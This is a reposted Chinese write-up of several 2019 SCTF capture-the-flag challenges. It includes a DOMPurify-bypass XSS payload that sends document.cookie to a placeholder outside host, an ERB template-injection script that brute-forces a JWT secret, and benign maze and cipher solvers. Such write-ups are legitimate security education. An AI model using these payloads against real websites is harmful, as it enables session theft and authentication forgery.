2019 SCTF 部分 WriteUp

栏目: Ruby · 发布时间: 5年前

内容简介:刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题启用了Dompurify,且配置文件分析了页面里的js代码

刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题

math-is-fun1

题目给了个在线编辑器

http://47.110.128.101/challenge?name=Challenger

可以提交一个url到服务器,结合hint确定是要xss了

http://47.110.128.101/send_message.html

启用了Dompurify,且配置文件 http://47.110.128.101/config 如下

({"SAFE_FOR_JQUERY":true,"ALLOWED_TAGS":["style","img","video"],"ALLOWE
D_ATTR":["style","src","href"],"FORBID_TAGS":["base","svg","link","iframe","frame","embed"]})

分析了页面里的js代码

渲染流程如下:

  • 服务器将name参数拼接到一个config类型的script标签中
  • 读取上面那个标签的内容并解析然后给window[]赋值 (这里可以变量覆盖)
  • 将config[name]拼接到textarea中
  • 读取location.search中的text,URLdecode后覆盖textarea
  • 监听textarea变化后会执行如下事件
    • 读取textarea的内容
    • Dompurify过滤 (上面发的先知链接已经被修复)
    • markdown渲染 (不知道用的啥库)
    • latex渲染 (用的mathjax2.7.5不存在已知xss)
    • 插入页面

猜测是要覆盖DOMPurify的某些变量,能够使其失效,翻看Dompurify的源码

https://github.com/cure53/DOMPurify/blob/c57dd450d8613fddfda67ad182526f371b4638fd/src/purify.js :966
2019 SCTF 部分 WriteUp

DOMPurify.isSupportedfalse ,则能够绕过过滤

于是构造

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>alert(1)

DOMPurify.isSupported 设置为false,text参数的值就能直接插入页面中,造成xss

(这里不知道为啥 text=<script>alert(1) 直接就绕过csp弹窗了,可能是非预期

2019 SCTF 部分 WriteUp

最后payload:

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)

两题都可以用这个paylaod打

2019 SCTF 部分 WriteUp

math-is-fun2

题解同上,

payload:

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)

flag shop

robots.txt提示/filebak,访问后拿到源码:

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)

configure do
 enable :logging
 file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
 file.sync = true
 use Rack::CommonLogger, file
end

get "/" do
 redirect '/shop', 302
end

get "/filebak" do
 content_type :text
 erb IO.binread __FILE__
end

get "/api/auth" do
 payload = { uid: SecureRandom.uuid , jkl: 20}
 auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
 cookies[:auth] = auth
end

get "/api/info" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
 json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
 erb :shop
end

get "/work" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
 auth = auth[0]
 unless params[:SECRET].nil?
   if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
     puts ENV["FLAG"]
   end
 end

 if params[:do] == "#{params[:name][0,7]}is working" then

   auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
   auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
   cookies[:auth] = auth
   ERB::new("<script>alert('#{params[:name][0,7]}working successfully!')</script>").result

 end
end

post "/shop" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

 if auth[0]["jkl"] < FLAGPRICE then

   json({title: "error",message: "no enough jkl"})
 else

   auth << {flag: ENV["FLAG"]}
   auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
   cookies[:auth] = auth
   json({title: "success",message: "jkl is good thing"})
 end
end


def islogin
 if cookies[:auth].nil? then
   redirect to('/shop')
 end
end

发现

ERB::new("<script>alert('#{params[:name][0,7]}working successfully!')</script>").result

存在erb模版注入,构造name为 <%=$~%> ,do为 <%=$~%> is working ,结合

ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}"),

其中的 SECRET 参数可控,如果匹配到SECRET,则 $~ (ruby特性,表示最近一次正则匹配结果) 会在页面中返回,于是可以爆破secret,然后伪造JWT去买flag。

爆破脚本如下:

import requests
import base64

url = "http://47.110.15.101"
re = requests.session()
re.get(url + "/api/auth")

flag = "09810e652ce9fa4882fe4875c"
while True:
   i = ""
   for i in "0123456789abcdef":
       #now = flag + i
       now = i + flag
       res = re.get(url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now)
       if len(res.text) > 48:
           print res.text
           print flag
           flag = now
           break
print flag
2019 SCTF 部分 WriteUp

拿到SECRET后就是伪造cookie去买flag了

2019 SCTF 部分 WriteUp 2019 SCTF 部分 WriteUp

Maaaaaaze

题目意思是找100*100的迷宫中任意两点最大路径

于是把html处理一下,然后任意取一个点作为起点,扔到dfs里跑最长路径,等跑不动的时候拿当前最长路径的重点作为起点再扔进dfs去跑,最后就得到答案 4056

脚本如下(好久没写算法了还真有点手生):

import sys
sys.setrecursionlimit(100000)

file = open("sctfmaze.txt")
maze = [[0 for j in range(0, 100)] for i in range(0, 100)]
vis = [[0 for j in range(0, 100)] for i in range(0, 100)]
class Node:
   t = 0
   r = 0
   b = 0
   l = 0
#print maze
for line in file:
   a = line[:-1].split(" ")
   #print a
   n = Node()
   for i in range(2,len(a)):
       #print a[i],
       if a[i] == '0' :
           n.t = 1
       if a[i] == '1' :
           n.r = 1
       if a[i] == '2' :
           n.b = 1
       if a[i] == '3' :
           n.l = 1
       #print a[i],
   #print
   maze[int(a[0])][int(a[1])] = n
   #print a[0],a[1],maze[int(a[0])][int(a[1])].b
#exit()
def check(i,j):
   if i>=100 or i<0 or j>=100 or j<0:
       return False
   if vis[i][j] == 1:
       return False
   return True

def printmap():
   global vis
   for i in range(0,100):
       for j in range(0,100):
           if vis[i][j] == 1:
               print "%2d%2d" % (i,j)
           print " "

maxx = 0
print maxx,i,j

def dfs(i,j,n):
   global maxx
   global vis
   global maze
   n += 1
  
   #print maxx,i,j,n,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
   if n>maxx:
       print n,i,j
       #print n,i,j,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
  
       maxx = n
   if check(i-1,j) and maze[i][j].t == 0:
       vis[i-1][j] = 1
       dfs(i-1,j,n)
       vis[i-1][j] = 0
   if check(i,j+1) and maze[i][j].r == 0:
       vis[i][j+1] = 1
       dfs(i,j+1,n)
       vis[i][j+1] = 0
   if check(i+1,j) and maze[i][j].b == 0:
       vis[i+1][j] = 1
       dfs(i+1,j,n)
       vis[i+1][j] = 0
   if check(i,j-1) and maze[i][j].l == 0:
       vis[i][j-1] = 1
       dfs(i,j-1,n)
       vis[i][j-1] = 0

vis[70][22] = 1
dfs(70,22,0)
exit()

for i in range(0,100):
   for j in range(0,100):
       #print i,j
       vis[i][j] = 1
       dfs(i,j,0)
       vis[i][j] = 0

music

这是道逆向题,前面是队友做的,到我这给了我一个 java 的加密类和密文与密钥,要求解出明文

public class c
{
  private static int m = 256;
  
  public String a(String paramString1, String paramString2)
{
    int i = m;
    int[] arrayOfInt = new int[i];
    byte[] arrayOfByte = new byte[i];
    for (i = 0; i < m; i++)
    {
      arrayOfInt[i] = i;
      arrayOfByte[i] = ((byte)(byte)paramString2.charAt(i % paramString2.length()));
    }
    i = 0;
    int j = 0;
    for (;;)
    {
      k = m;
      if (i >= k - 1) {
        break;
      }
      j = (arrayOfInt[i] + j + arrayOfByte[i]) % k;
      k = arrayOfInt[i];
      arrayOfInt[i] = arrayOfInt[j];
      arrayOfInt[j] = k;
      i++;
    }
    paramString2 = paramString1.toCharArray();
    paramString1 = new char[paramString1.length()];
    int k = 0;
    j = 0;
    for (i = 0; i < paramString2.length; i++)
    {
      int n = m;
      k = (k + 1) % n;
      j = (arrayOfInt[k] + j) % n;
      int i1 = arrayOfInt[k];
      arrayOfInt[k] = arrayOfInt[j];
      arrayOfInt[j] = i1;
      int i2 = arrayOfInt[k];
      i1 = arrayOfInt[k];
      paramString1[i] = ((char)(char)(paramString2[i] - k ^ (char)arrayOfInt[((i2 + i1 % n) % n)]));
    }
    new p();
    return p.a(new String(paramString1).getBytes());
  }
}

分析加密类之后可以知道每个字符进去后输出的密文都是一个固定的字符串

于是直接爆破每一位

import java.lang.String;

public class Main{
   public static void main(String[] args){
       c a = new c();
       String flag = "sctf{";
       String printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>?@[]^_{|}~";
       String ss = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53";
       for(int j=0;j<100;j++)
       {
           for(int i=0;i<printable.length();i++)
           {
               String now=  flag + printable.charAt(i);
               //System.out.println(now);
               String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBE5");
               if(ss.indexOf(d) == 0)
               {
                   System.out.println("flag: " + now);
                   flag = now;
               }
           }
           //break;
       }
   }
}

2019 SCTF 部分 WriteUp


以上所述就是小编给大家介绍的《2019 SCTF 部分 WriteUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

卓有成效的程序员

卓有成效的程序员

Neal Ford / 熊节 / 机械工业出版社 / 2009-3 / 45.00元

《卓有成效的程序员》就是讲述如何在开发软件的过程中变得更加高效。同时,《卓有成效的程序员》的讲述将会跨语言和操作系统:很多技巧的讲述都会伴随多种程序语言的例子,并且会跨越三种主要的操作系统,Windows(多个版本),Mac OS X以及 *-nix (Unix或者Linux)。 《卓有成效的程序员》讨论的是程序员个体的生产力,而不是团队的生产力问题,所以它不会涉及方法论(好吧,可能总会在......一起来看看 《卓有成效的程序员》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具